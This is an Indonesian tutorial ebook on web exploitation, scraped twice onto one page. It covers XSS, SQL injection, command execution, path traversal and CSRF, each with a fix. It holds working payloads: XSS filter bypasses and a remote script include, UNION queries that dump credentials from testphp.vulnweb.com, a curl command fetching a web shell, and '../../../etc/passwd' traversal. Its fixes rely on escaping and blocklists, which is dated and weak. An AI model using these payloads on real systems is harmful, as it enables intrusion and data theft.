• Diterbitkan Oleh : Ebook ini dibuat sebagai media pembelajaran. Segala macam materi yang ada pada ebook ini berdasarkan pengalaman pribadi penulis. Ebook ini bebas untuk disebarluaskan dengan syarat tidak mengubah nama penulis dan isi materi yang ada didalamnya. Credits DevilScreaM ([email protected])
  • Daftar Isi 0x01 - Pengenalan Apa itu Web Exploit? ............................................................................................................ Jenis-Jenis Web Exploit ......................................................................................................... Teknik Mencari Web Exploit ................................................................................................. ~ Analysis Code .................................................................................................................. ~ Google Search Engine ..................................................................................................... 0x02 - Cross Site Scripting Apa itu Cross Site Scripting? ................................................................................................. Tipe Cross Site Scripting ....................................................................................................... ~ Non Persistent ................................................................................................................ ~ Persistent / Stored ........................................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi Cross Site Scripting ................................................................................................... Injeksi Cross Site Scripting dengan Bypass ........................................................................... Menutup Celah Cross Site Scripting ...................................................................................... 0x03 - SQL Injection Apa itu SQL Injection? .......................................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi SQL Injection ............................................................................................................. ~ Menghitung Jumlah Tables ............................................................................................. ~ Melihat Tables ................................................................................................................. ~ Melihat Column ............................................................................................................... ~ Melihat Data pada Column .............................................................................................. Menutup Celah SQL Injection ................................................................................................ 0x04 - Remote Code Execution Apa itu Remote Code Execution? .......................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi Remote Code Execution ............................................................................................ Menutup Celah Remote Code Execution ...............................................................................
  • 0x05 - Local File Download Apa itu Local File Download? ................................................................................................ Kode yang Menimbulkan Celah ............................................................................................ Injeksi Local File Download ................................................................................................... Menutup Celah Local File Download ..................................................................................... 0x06 - Cross Site Request Forgery Apa itu Cross Site Request Forgery? ..................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi Cross Site Request Forgery ....................................................................................... ~ Kode Exploit Cross Site Request Forgery ........................................................................ Menutup Cross Site Request Forgery .................................................................................... 0x07 - Mengarsipkan Exploit Membuat Keterangan Exploit untuk Dikirim ......................................................................... ~ Contoh Keterangan Exploit ............................................................................................. Mengirim Exploit ke 1337day ............................................................................................... Mengirim Exploit ke Exploit-DB ............................................................................................ Mengirim Exploit ke Packet Storm Security ..........................................................................
  • 0x01 - Pengenalan Apa itu Web Exploit? Web Exploit adalah suatu script atau kode yang menyerang suatu web secara spesifik. Web Exploit digunakan untuk melakukan penetrasi terhadap suatu web secara legal maupun ilegal untuk mencari suatu kerentanan atau kelemahan (vulnerability) pada suatu web. Jenis-Jenis Web Exploit Web Exploit ada beberapa jenis, pada kali ini penulis hanya membahas beberapa saja, yaitu: 1. Cross Site Scripting 2. SQL Injection 3. Remote Code Execution 4. Local File Download 5. Cross Site Request Forgery Teknik Mencari Web Exploit Ada beberapa teknik untuk mencari sebuah Web Exploit, yaitu: 1. Analysis Code (Menganalisa Kode) Teknik ini adalah menganalisis secara langsung kode yang ada pada web application / Content Management System (CMS) apakah ada kode yang menyebabkan kerentanan atau tidak. 2. Google Search Engine (Pencarian Google) Teknik ini adalah memanfaatkan Google untuk mencari web exploit dengan memanfaatkan Google Dork.
  • 0x02 - Cross Site Scripting Apa itu Cross Site Scripting? Cross Site Scripting merupakan salah satu jenis serangan injeksi code (code injection attack) dengan memanfaatkan sebuah kode seperti html, javascript dan css. Tipe Cross Site Scripting 1. Non Persistent Cross Site Scripting tipe ini adalah dengan memanfaatkan URL untuk melakukan injeksi Contoh : http://127.0.0.1/xss.php?xss=alert(“XSS”) 2. Persistent / Stored Cross Site Scripting tipe ini adalah kode yang kita masukan akan masuk kedalam database web dan akan di load pada sebuah tempat, biasanya terdapat di guestbook, comment, dan post
  • 0x02 - Cross Site Scripting Kode yang Menimbulkan Celah Cross Site Scripting dapat terjadi karena kesalahan dalam sebuah kode dan tidak adanya filter terhadap kode injeksi. Berikut kode yang dapat menimbulkan celah ini. Non Persistent Jika kita memasukkan parameter xss dan memasukkan kode injeksi html, maka akan ditampilkan kedalam web. Namun, karena pada suatu web itu berbeda kodenya maka bukan hanya seperti itu saja kode yang dapat menimbulkan celah ini. Contoh pada CMS MyBB 1.8 Beda jauh bukan dengan kode diatas tadi? Karena beda framework beda kodenya, tetapi celahnya tetap sama, yaitu tidak adanya filter. Persistent / Stored Tidak jauh beda dengan Non Persistent, Celahnya masih terdapat pada parameter
  • 0x02 - Cross Site Scripting Injeksi Cross Site Scripting Untuk melakukan injeksi terhadap Cross Site Scripting, kita harus memasukan kode injeksi pada parameter yang terjadi pada celah ini. Non Persistent http://127.0.0.1/profile.php?name=[Script] Untuk melakukan injeksi, kita akan memasukan kode injeksi pada parameter name http://127.0.0.1/profile.php?name=alert(“XSS”) Pada contoh diatas, celah ini terdapat pada file profile.php , dan pada parameter name. Jika kita telah melakukan injeksi terhadap parameter tersebut, maka kode akan berubah Persistent / Stored Dilihat pada gambar diatas, untuk menginjeksi celah ini kita memasukan kode injeksi pada sebuah form text lalu melakukan submit.
  • 0x02 - Cross Site Scripting Injeksi Cross Site Scripting dengan Bypass Jika dengan teknik biasa gagal atau terdapat filter terhadap kode, kita dapat menggunakan bypass. Form Search http://127.0.0.1/search.php?text=”>alert(“XSS”) Menambahkan tanda kutip “ dan > untuk melakukan bypass Image XSS http://127.0.0.1/profile.php?txt= Memanfaatkan kode image untuk melakukan injeksi jika kode yang lainnya di filter Remote Script http://127.0.0.1/profile.php?user= Jika fungsi alert, document.write dan yang lainnya di filter, bisa menggunakan Remote Script ini Kode injeksi diisikan pada http://ha.ckers.org/xss.js Masih banyak lagi teknik untuk bypass Cross Site Scripting ini, jika ingin membaca lebih lanjut, silahkan baca di https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  • 0x02 - Cross Site Scripting Menutup Celah Cross Site Scripting Untuk menutup celah ini, kita dapat menggunakan fungsi php htmlspecialchars Non Persistent Menambahkan fungsi php htmlspecialchars pada parameter name Persistent / Stored Kode diatas adalah contoh menutupi celah Cross Site Scripting jika kode html terdapat didalam database dengan menambahkan htmlspecialchars pada kode yang menampilkan hasil dari load di database.
  • 0x03 - SQL Injection Apa itu SQL Injection? SQL Injection merupakan sebuah teknik dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Dengan teknik ini,seorang penyerang bisa mendapatkan data pada web target.
  • 0x03 - SQL Injection Kode yang Menimbulkan Celah SQL Injection dapat terjadi karena kesalahan dalam sebuah kode , query, dan tidak adanya filter terhadap kode injeksi seperti tanda “ + order+by,dan lain-lain. Berikut kode yang dapat menimbulkan celah ini. Jika kita memasukkan injeksi pada parameter id maka akan membuat query SQL pada kode diatas berubah. Mengapa bisa berubah? Contoh : Jika kita memasukkan kode injeksi pada parameter id http://127.0.0.1/post.php?id=1’+order+by+1’ Query SQL diatas akan berubah menjadi Maka akan menyebabkan error atau vulnerability pada query SQL.
  • 0x03 - SQL Injection Injeksi SQL Injection Untuk melakukan injeksi terhadap SQL Injection, kita harus memasukan query sql pada parameter yang terjadi pada celah ini. Dalam perintah SQL, ada dua tipe injeksi yaitu string dan integer. String yaitu menggunakan spasi antara url dan query SQL, sedangkan Integer menggunakan simbol-simbol seperti + . http://127.0.0.1/post.php?id=[Query] Contoh melakukan injeksi SQL terhadap web Target : http://testphp.vulnweb.com/listproducts.php?cat= Menghitung Jumlah Tables Kita akan memasukkan query sql untuk menghitung jumlah tables. Dalam menghitung tables kita akan menggunakan query order+by+jumlah dan harus mendapatkan pesan error http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1-- http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2-- http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+3-- Query diatas tidak mengakibatkan error, sekarang kita coba ganti angka menjadi 12 http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12-- Muncul pesan error, pada pencarian tables ini angka 12 tadi kita kurang 1 (12 - 1 = 11) maka menjadi 11, itu berarti tables yang ada pada web ada 11.
  • 0x03 - SQL Injection Injeksi SQL Injection Melihat Tables Kita akan memasukkan query sql untuk melihat tables yang ada. Dalam melihat tables kita akan menggunakan query group_concat(table_name) dan +from+information_schema.tables+where+table_schema=database(). http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,group_c oncat(table_name),8,9,10,11+from+information_schema.tables+where+table_sc hema=database() Maka akan muncul tables yang ada Tables : 1. Artists 2. Carts 3. Categ 4. Featured 5. Guestbook 6. Pictures 7. Products 8. Users
  • 0x03 - SQL Injection Injeksi SQL Injection Melihat Column Kita akan memasukkan query sql untuk melihat column yang ada. Dalam melihat column kita akan menggunakan query group_concat(column_name) dan+from+information_schema.columns+where+table_name=CHAR(Table_Deci mal) Sebelum melihat column, kita harus merubah nama tables dari string menjadi decimal Pada kali ini, penulis menggunakan tables users String : users > Decimal : 117,115,101,114,115 http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,group_c oncat(column_name),8,9,10,11+from+information_schema.columns+where+tabl e_name=CHAR(117,115,101,114,115)-- Maka akan muncul column yang ada Column : 1. Uname 7. Phone 2. Pass 8. Cart 3. Cc 4. Address 5. Email 6. Name
  • 0x03 - SQL Injection Injeksi SQL Injection Melihat Data dari Column Kita akan memasukkan query sql untuk melihat data pada column yang ada. Dalam melihat data column kita akan menggunakan group_concat(nama_column) dan +from+[nama_table]-- Pada kali ini, kita akan melihat data pada tables users , dan pada column uname & pass http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,group_co ncat(uname,0x3a,pass),8,9,10,11+from+users-- Maka akan muncul data pada column tersebut. Data Column : Uname : test Pass : test
  • 0x03 - SQL Injection Menutup Celah SQL Injection Untuk menutup celah ini, kita dapat menggunakan fungsi mysql_real_escape_string pada parameter untuk melakukan filterasi. Menambahkan fungsi mysql_real_escape_string pada parameter id Dengan fungsi diatas, kode injeksi seperti 1’+order+by+1 akan diabaikan oleh query.
  • 0x04 - Remote Code Execution Apa itu Remote Code Execution? Remote Command Execution adalah sebuah celah yang membuat kita terhubung pada sebuah command atau terminal sistem operasi server atau hosting web tersebut. Dengan celah ini kita dapat menggunakan perintah-perintah yang ada pada sistem operasi server tersebut.
  • 0x04 - Remote Code Execution Kode yang Menimbulkan Celah Remote Code Execution dapat terjadi karena kesalahan dalam sebuah kode dan tidak adanya filter terhadap kode injeksi yang berbahaya seperti wget, curl, cat, dan lain-lain. Berikut kode yang dapat menimbulkan celah ini. Kode diatas akan menjalankan perintah dan memunculkan output(hasil dari kerja perintah) dari parameter cmd. Namun selain kode diatas ada juga kode seperti ini yang dapat menimbulakan celah. Kode diatas akan menjalankan perintah atau mengeksekusi perintah tanpa mengeluarkan output dari parameter cmd, namun perintah tetap berjalan atau dieksekusi.
  • 0x04 - Remote Code Execution Injeksi Remote Code Execution Untuk melakukan injeksi terhadap Remote Code Execution, kita harus memasukan kode injeksi atau perintah sistem operasi (operating system) pada parameter yang ada pada celah ini. http://127.0.0.1/cmd.php?cmd=[Perintah] Pada celah ini kita dapat menggunakan perintah sistem operasi, tetapi tergantung dari server, jika server menggunakan sistem operasi windows, maka perintah yang digunakan adalah perintah di windows begitu juga dengan server yang menggunakan sistem operasi linux, maka akan menggunakan perintah linux. Contoh perintah untuk download file dari server lain dan menyimpannya di web target http://127.0.0.1/cmd.php?cmd=curl -o http://google.com/shell.php Perintah diatas menggunakan cURL untuk download file dari server lain. Namun bukan hanya itu saja, masih banyak yang dapat dilakukan melalui celah ini, antara lain 1. Membuat File 2. Menghapus File 3. Mengcopy File 4. Mengedit File 5. Melihat File /etc/passwd Dan masih banyak lagi.
  • 0x04 - Remote Code Execution Menutup Celah Remote Code Execution Untuk menutup celah ini, kita dapat menggunakan if, switch, case pada kode php Pada kode diatas, kita membatasi penggunaan perintah, jadi hanya perintah yang telah kita tentukan saja yang dapat berfungsi seperti perintah netstat dan ifconfig
  • 0x05 - Local File Download Apa itu Local File Download? Local File Download merupakan sebuah teknik dimana seorang penyerang dapat mendownload file-file yang ada pada web target.
  • 0x05 - Local File Download Kode yang Menimbulkan Celah Local File Download dapat terjadi karena kesalahan dalam sebuah kode dan tidak ada filter dalam mendownload file. Contoh kode Kode diatas akan mendownload file yang di input dari parameter file Selain kode diatas, ada juga kode yang menimbulkan celah seperti kode dibawah ini Kode diatas akan mendownload file yang di input dari parameter downloadfile
  • 0x05 - Local File Download Injeksi Local File Download Untuk melakukan injeksi terhadap Local File Download, kita hanya perlu memasukkan nama file yang ingin di download. http://127.0.0.1/file.php?download=[File] Contoh Injeksi Jika kita ingin mendownload file configuration.php dari sebuah web. http://127.0.0.1/file.php?download=configuration.php Namun, kita bukan hanya bisa download file yang ada didalam web, tetapi didalam server juga bisa. Contoh Injeksi Jika kita ingin mendownload file /etc/passwd untuk melihat users yang ada pada server http://127.0.0.1/file.php?download=../../../etc/passwd
  • 0x05 - Local File Download Menutup Celah Local File Download Untuk menutup celah Local File Download kita dapat menggunakan fungsi if, strpos pada kode php Kode diatas akan membatasi atau filter kode injeksi seperti ../ , etc/passwd dan configuration.php pada parameter file
  • 0x06 - Cross Site Request Forgery Apa itu Cross Site Request Forgery? Cross Site Request Forgery merupakan teknik pemalsuan permintaan yang berasal dari halaman web atau situs yang berbeda. Cross Site Request Forgery biasanya terjadi pada halaman admin sebuah web.
  • 0x06 - Cross Site Request Forgery Kode yang Menimbulkan Celah Cross Site Request Forgery dapat terjadi karena kesalahan dalam sebuah kode dan tidak adanya session dalam sebuah kode. Contoh : Misalkan terjadi pada file /administrator/post.php , dan file tersebut berisi kode seperti dibawah ini Kode diatas dapat melakukan penambahan data pada database. Terlihat jelas bahwa user biasa dapat menambahkan data jika user tersebut mengetahui parameter post karena tidak adanya sebuah session.
  • 0x06 - Cross Site Request Forgery Injeksi Cross Site Request Forgery Untuk melakukan injeksi terhadap Cross Site Request Forgery, kita harus memasukan kode injeksi dan membutuhkan sebuah kode dan mengetahui parameter pada web target. Kode Exploit Cross Site Request Forgery Pada celah ini, kita membutuhkan sebuah kode untuk melakukan injeksi. Contoh : Jika Cross Site Request Forgery terjadi pada http://google.com/administrator/post.php dan terdapat pada parameter post dan name. Berikut isi kode dari http://google.com/administrator/post.php Jadi kita akan membuat sebuah kode yang melakukan penyerangan ke parameter post dan name Berikut contoh kode Kode tersebut akan menjadi seperti ini Lalu tinggal melakukan submit pada data yang telah di input pada form text tersebut.
  • 0x06 - Cross Site Request Forgery Menutup Celah Cross Site Request Forgery Untuk menutup celah ini, kita hanya perlu menambahkan session pada kode php. Contoh kode : Dari kode diatas, kita menambahkan fungsi session_start() dan $_SESSION pada kode. Kode tersebut berfungsi untuk melakukan pemeriksaan session. Jika username bukan admin, maka posting gagal.
  • 0x07 - Mengarsipkan Exploit Membuat Keterangan Exploit untuk Dikirim Setelah kita selesai menganalisis kode dan menemukan sebuah celah (vulnerability) pada suatu Content Management System (CMS), kini saatnya kita membuat keterangan mengenai exploit kita untuk diarsipkan ke beberapa exploit archive seperti 1337day, Exploit-DB, dan Packet Storm Security. Dalam membuat exploit, kita harus memberikan keterangan seperti Title, Author, Date Found, Version, Category, Vendor, Tested on, Vulnerability, dan POC.
  • 0x07 - Mengarsipkan Exploit Membuat Keterangan Exploit untuk Dikirim Contoh Keterangan Exploit Berikut adalah contoh dalam membuat keterangan exploit. Dalam membuat keterangan exploit, jangan lupa memberikan keterangan POC yang sangat jelas.
  • 0x07 - Mengarsipkan Exploit Mengirim Exploit ke 1337day Untuk mengirim exploit yang telah kita buat ke 1337day, kita harus mengirimkan sebuah email ke pihak 1337day. 1. [email protected] 2. [email protected]
  • 0x07 - Mengarsipkan Exploit Mengirim Exploit ke Exploit-DB Untuk mengirim exploit yang telah kita buat ke Exploit-DB, kita harus mengirimkan sebuah email ke pihak Exploit-DB. 1. [email protected]
  • 0x07 - Mengarsipkan Exploit Mengirim Exploit ke Packet Storm Security Untuk mengirim exploit yang telah kita buat ke Packet Storm Security, kita harus mengirimkan sebuah email ke pihak Packet Storm Security. 1. [email protected]
  • Demikian yang dapat penulis paparkan mengenai materi yang menjadi pokok bahasan dalam ebook ini, tentunya masih banyak kekurangan dan kelemahannya. Penulis banyak berharap para pembaca memberikan kritik dan saran yang membangun kepada penulis demi sempurnanya ebook ini dalam penulisan ebook di kesempatan- kesempatan berikutnya. Semoga ebook ini berguna bagi para pembaca ebook ini. Terima kasih kepada
Please download to view
All materials on our website are shared by users. If you have any questions about copyright issues, please report us to resolve them. We are always happy to assist you.
...

Basic Web Exploit Development

by devilscream-noob

on

Report

Category:

Internet

Download: 0

Comment: 0

80,375

views

Comments

Description

Download Basic Web Exploit Development

Transcript

  • Diterbitkan Oleh : Ebook ini dibuat sebagai media pembelajaran. Segala macam materi yang ada pada ebook ini berdasarkan pengalaman pribadi penulis. Ebook ini bebas untuk disebarluaskan dengan syarat tidak mengubah nama penulis dan isi materi yang ada didalamnya. Credits DevilScreaM ([email protected])
  • Daftar Isi 0x01 - Pengenalan Apa itu Web Exploit? ............................................................................................................ Jenis-Jenis Web Exploit ......................................................................................................... Teknik Mencari Web Exploit ................................................................................................. ~ Analysis Code .................................................................................................................. ~ Google Search Engine ..................................................................................................... 0x02 - Cross Site Scripting Apa itu Cross Site Scripting? ................................................................................................. Tipe Cross Site Scripting ....................................................................................................... ~ Non Persistent ................................................................................................................ ~ Persistent / Stored ........................................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi Cross Site Scripting ................................................................................................... Injeksi Cross Site Scripting dengan Bypass ........................................................................... Menutup Celah Cross Site Scripting ...................................................................................... 0x03 - SQL Injection Apa itu SQL Injection? .......................................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi SQL Injection ............................................................................................................. ~ Menghitung Jumlah Tables ............................................................................................. ~ Melihat Tables ................................................................................................................. ~ Melihat Column ............................................................................................................... ~ Melihat Data pada Column .............................................................................................. Menutup Celah SQL Injection ................................................................................................ 0x04 - Remote Code Execution Apa itu Remote Code Execution? .......................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi Remote Code Execution ............................................................................................ Menutup Celah Remote Code Execution ...............................................................................
  • 0x05 - Local File Download Apa itu Local File Download? ................................................................................................ Kode yang Menimbulkan Celah ............................................................................................ Injeksi Local File Download ................................................................................................... Menutup Celah Local File Download ..................................................................................... 0x06 - Cross Site Request Forgery Apa itu Cross Site Request Forgery? ..................................................................................... Kode yang Menimbulkan Celah ............................................................................................ Injeksi Cross Site Request Forgery ....................................................................................... ~ Kode Exploit Cross Site Request Forgery ........................................................................ Menutup Cross Site Request Forgery .................................................................................... 0x07 - Mengarsipkan Exploit Membuat Keterangan Exploit untuk Dikirim ......................................................................... ~ Contoh Keterangan Exploit ............................................................................................. Mengirim Exploit ke 1337day ............................................................................................... Mengirim Exploit ke Exploit-DB ............................................................................................ Mengirim Exploit ke Packet Storm Security ..........................................................................
  • 0x01 - Pengenalan Apa itu Web Exploit? Web Exploit adalah suatu script atau kode yang menyerang suatu web secara spesifik. Web Exploit digunakan untuk melakukan penetrasi terhadap suatu web secara legal maupun ilegal untuk mencari suatu kerentanan atau kelemahan (vulnerability) pada suatu web. Jenis-Jenis Web Exploit Web Exploit ada beberapa jenis, pada kali ini penulis hanya membahas beberapa saja, yaitu: 1. Cross Site Scripting 2. SQL Injection 3. Remote Code Execution 4. Local File Download 5. Cross Site Request Forgery Teknik Mencari Web Exploit Ada beberapa teknik untuk mencari sebuah Web Exploit, yaitu: 1. Analysis Code (Menganalisa Kode) Teknik ini adalah menganalisis secara langsung kode yang ada pada web application / Content Management System (CMS) apakah ada kode yang menyebabkan kerentanan atau tidak. 2. Google Search Engine (Pencarian Google) Teknik ini adalah memanfaatkan Google untuk mencari web exploit dengan memanfaatkan Google Dork.
  • 0x02 - Cross Site Scripting Apa itu Cross Site Scripting? Cross Site Scripting merupakan salah satu jenis serangan injeksi code (code injection attack) dengan memanfaatkan sebuah kode seperti html, javascript dan css. Tipe Cross Site Scripting 1. Non Persistent Cross Site Scripting tipe ini adalah dengan memanfaatkan URL untuk melakukan injeksi Contoh : http://127.0.0.1/xss.php?xss=alert(“XSS”) 2. Persistent / Stored Cross Site Scripting tipe ini adalah kode yang kita masukan akan masuk kedalam database web dan akan di load pada sebuah tempat, biasanya terdapat di guestbook, comment, dan post
  • 0x02 - Cross Site Scripting Kode yang Menimbulkan Celah Cross Site Scripting dapat terjadi karena kesalahan dalam sebuah kode dan tidak adanya filter terhadap kode injeksi. Berikut kode yang dapat menimbulkan celah ini. Non Persistent Jika kita memasukkan parameter xss dan memasukkan kode injeksi html, maka akan ditampilkan kedalam web. Namun, karena pada suatu web itu berbeda kodenya maka bukan hanya seperti itu saja kode yang dapat menimbulkan celah ini. Contoh pada CMS MyBB 1.8 Beda jauh bukan dengan kode diatas tadi? Karena beda framework beda kodenya, tetapi celahnya tetap sama, yaitu tidak adanya filter. Persistent / Stored Tidak jauh beda dengan Non Persistent, Celahnya masih terdapat pada parameter
  • 0x02 - Cross Site Scripting Injeksi Cross Site Scripting Untuk melakukan injeksi terhadap Cross Site Scripting, kita harus memasukan kode injeksi pada parameter yang terjadi pada celah ini. Non Persistent http://127.0.0.1/profile.php?name=[Script] Untuk melakukan injeksi, kita akan memasukan kode injeksi pada parameter name http://127.0.0.1/profile.php?name=alert(“XSS”) Pada contoh diatas, celah ini terdapat pada file profile.php , dan pada parameter name. Jika kita telah melakukan injeksi terhadap parameter tersebut, maka kode akan berubah Persistent / Stored Dilihat pada gambar diatas, untuk menginjeksi celah ini kita memasukan kode injeksi pada sebuah form text lalu melakukan submit.
  • 0x02 - Cross Site Scripting Injeksi Cross Site Scripting dengan Bypass Jika dengan teknik biasa gagal atau terdapat filter terhadap kode, kita dapat menggunakan bypass. Form Search http://127.0.0.1/search.php?text=”>alert(“XSS”) Menambahkan tanda kutip “ dan > untuk melakukan bypass Image XSS http://127.0.0.1/profile.php?txt= Memanfaatkan kode image untuk melakukan injeksi jika kode yang lainnya di filter Remote Script http://127.0.0.1/profile.php?user= Jika fungsi alert, document.write dan yang lainnya di filter, bisa menggunakan Remote Script ini Kode injeksi diisikan pada http://ha.ckers.org/xss.js Masih banyak lagi teknik untuk bypass Cross Site Scripting ini, jika ingin membaca lebih lanjut, silahkan baca di https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  • 0x02 - Cross Site Scripting Menutup Celah Cross Site Scripting Untuk menutup celah ini, kita dapat menggunakan fungsi php htmlspecialchars Non Persistent Menambahkan fungsi php htmlspecialchars pada parameter name Persistent / Stored Kode diatas adalah contoh menutupi celah Cross Site Scripting jika kode html terdapat didalam database dengan menambahkan htmlspecialchars pada kode yang menampilkan hasil dari load di database.
  • 0x03 - SQL Injection Apa itu SQL Injection? SQL Injection merupakan sebuah teknik dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Dengan teknik ini,seorang penyerang bisa mendapatkan data pada web target.
  • 0x03 - SQL Injection Kode yang Menimbulkan Celah SQL Injection dapat terjadi karena kesalahan dalam sebuah kode , query, dan tidak adanya filter terhadap kode injeksi seperti tanda “ + order+by,dan lain-lain. Berikut kode yang dapat menimbulkan celah ini. Jika kita memasukkan injeksi pada parameter id maka akan membuat query SQL pada kode diatas berubah. Mengapa bisa berubah? Contoh : Jika kita memasukkan kode injeksi pada parameter id http://127.0.0.1/post.php?id=1’+order+by+1’ Query SQL diatas akan berubah menjadi Maka akan menyebabkan error atau vulnerability pada query SQL.
  • 0x03 - SQL Injection Injeksi SQL Injection Untuk melakukan injeksi terhadap SQL Injection, kita harus memasukan query sql pada parameter yang terjadi pada celah ini. Dalam perintah SQL, ada dua tipe injeksi yaitu string dan integer. String yaitu menggunakan spasi antara url dan query SQL, sedangkan Integer menggunakan simbol-simbol seperti + . http://127.0.0.1/post.php?id=[Query] Contoh melakukan injeksi SQL terhadap web Target : http://testphp.vulnweb.com/listproducts.php?cat= Menghitung Jumlah Tables Kita akan memasukkan query sql untuk menghitung jumlah tables. Dalam menghitung tables kita akan menggunakan query order+by+jumlah dan harus mendapatkan pesan error http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1-- http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2-- http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+3-- Query diatas tidak mengakibatkan error, sekarang kita coba ganti angka menjadi 12 http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12-- Muncul pesan error, pada pencarian tables ini angka 12 tadi kita kurang 1 (12 - 1 = 11) maka menjadi 11, itu berarti tables yang ada pada web ada 11.
  • 0x03 - SQL Injection Injeksi SQL Injection Melihat Tables Kita akan memasukkan query sql untuk melihat tables yang ada. Dalam melihat tables kita akan menggunakan query group_concat(table_name) dan +from+information_schema.tables+where+table_schema=database(). http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,group_c oncat(table_name),8,9,10,11+from+information_schema.tables+where+table_sc hema=database() Maka akan muncul tables yang ada Tables : 1. Artists 2. Carts 3. Categ 4. Featured 5. Guestbook 6. Pictures 7. Products 8. Users
  • 0x03 - SQL Injection Injeksi SQL Injection Melihat Column Kita akan memasukkan query sql untuk melihat column yang ada. Dalam melihat column kita akan menggunakan query group_concat(column_name) dan+from+information_schema.columns+where+table_name=CHAR(Table_Deci mal) Sebelum melihat column, kita harus merubah nama tables dari string menjadi decimal Pada kali ini, penulis menggunakan tables users String : users > Decimal : 117,115,101,114,115 http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,group_c oncat(column_name),8,9,10,11+from+information_schema.columns+where+tabl e_name=CHAR(117,115,101,114,115)-- Maka akan muncul column yang ada Column : 1. Uname 7. Phone 2. Pass 8. Cart 3. Cc 4. Address 5. Email 6. Name
  • 0x03 - SQL Injection Injeksi SQL Injection Melihat Data dari Column Kita akan memasukkan query sql untuk melihat data pada column yang ada. Dalam melihat data column kita akan menggunakan group_concat(nama_column) dan +from+[nama_table]-- Pada kali ini, kita akan melihat data pada tables users , dan pada column uname & pass http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,group_co ncat(uname,0x3a,pass),8,9,10,11+from+users-- Maka akan muncul data pada column tersebut. Data Column : Uname : test Pass : test
  • 0x03 - SQL Injection Menutup Celah SQL Injection Untuk menutup celah ini, kita dapat menggunakan fungsi mysql_real_escape_string pada parameter untuk melakukan filterasi. Menambahkan fungsi mysql_real_escape_string pada parameter id Dengan fungsi diatas, kode injeksi seperti 1’+order+by+1 akan diabaikan oleh query.
  • 0x04 - Remote Code Execution Apa itu Remote Code Execution? Remote Command Execution adalah sebuah celah yang membuat kita terhubung pada sebuah command atau terminal sistem operasi server atau hosting web tersebut. Dengan celah ini kita dapat menggunakan perintah-perintah yang ada pada sistem operasi server tersebut.
  • 0x04 - Remote Code Execution Kode yang Menimbulkan Celah Remote Code Execution dapat terjadi karena kesalahan dalam sebuah kode dan tidak adanya filter terhadap kode injeksi yang berbahaya seperti wget, curl, cat, dan lain-lain. Berikut kode yang dapat menimbulkan celah ini. Kode diatas akan menjalankan perintah dan memunculkan output(hasil dari kerja perintah) dari parameter cmd. Namun selain kode diatas ada juga kode seperti ini yang dapat menimbulakan celah. Kode diatas akan menjalankan perintah atau mengeksekusi perintah tanpa mengeluarkan output dari parameter cmd, namun perintah tetap berjalan atau dieksekusi.
  • 0x04 - Remote Code Execution Injeksi Remote Code Execution Untuk melakukan injeksi terhadap Remote Code Execution, kita harus memasukan kode injeksi atau perintah sistem operasi (operating system) pada parameter yang ada pada celah ini. http://127.0.0.1/cmd.php?cmd=[Perintah] Pada celah ini kita dapat menggunakan perintah sistem operasi, tetapi tergantung dari server, jika server menggunakan sistem operasi windows, maka perintah yang digunakan adalah perintah di windows begitu juga dengan server yang menggunakan sistem operasi linux, maka akan menggunakan perintah linux. Contoh perintah untuk download file dari server lain dan menyimpannya di web target http://127.0.0.1/cmd.php?cmd=curl -o http://google.com/shell.php Perintah diatas menggunakan cURL untuk download file dari server lain. Namun bukan hanya itu saja, masih banyak yang dapat dilakukan melalui celah ini, antara lain 1. Membuat File 2. Menghapus File 3. Mengcopy File 4. Mengedit File 5. Melihat File /etc/passwd Dan masih banyak lagi.
  • 0x04 - Remote Code Execution Menutup Celah Remote Code Execution Untuk menutup celah ini, kita dapat menggunakan if, switch, case pada kode php Pada kode diatas, kita membatasi penggunaan perintah, jadi hanya perintah yang telah kita tentukan saja yang dapat berfungsi seperti perintah netstat dan ifconfig
  • 0x05 - Local File Download Apa itu Local File Download? Local File Download merupakan sebuah teknik dimana seorang penyerang dapat mendownload file-file yang ada pada web target.
  • 0x05 - Local File Download Kode yang Menimbulkan Celah Local File Download dapat terjadi karena kesalahan dalam sebuah kode dan tidak ada filter dalam mendownload file. Contoh kode Kode diatas akan mendownload file yang di input dari parameter file Selain kode diatas, ada juga kode yang menimbulkan celah seperti kode dibawah ini Kode diatas akan mendownload file yang di input dari parameter downloadfile
  • 0x05 - Local File Download Injeksi Local File Download Untuk melakukan injeksi terhadap Local File Download, kita hanya perlu memasukkan nama file yang ingin di download. http://127.0.0.1/file.php?download=[File] Contoh Injeksi Jika kita ingin mendownload file configuration.php dari sebuah web. http://127.0.0.1/file.php?download=configuration.php Namun, kita bukan hanya bisa download file yang ada didalam web, tetapi didalam server juga bisa. Contoh Injeksi Jika kita ingin mendownload file /etc/passwd untuk melihat users yang ada pada server http://127.0.0.1/file.php?download=../../../etc/passwd
  • 0x05 - Local File Download Menutup Celah Local File Download Untuk menutup celah Local File Download kita dapat menggunakan fungsi if, strpos pada kode php Kode diatas akan membatasi atau filter kode injeksi seperti ../ , etc/passwd dan configuration.php pada parameter file
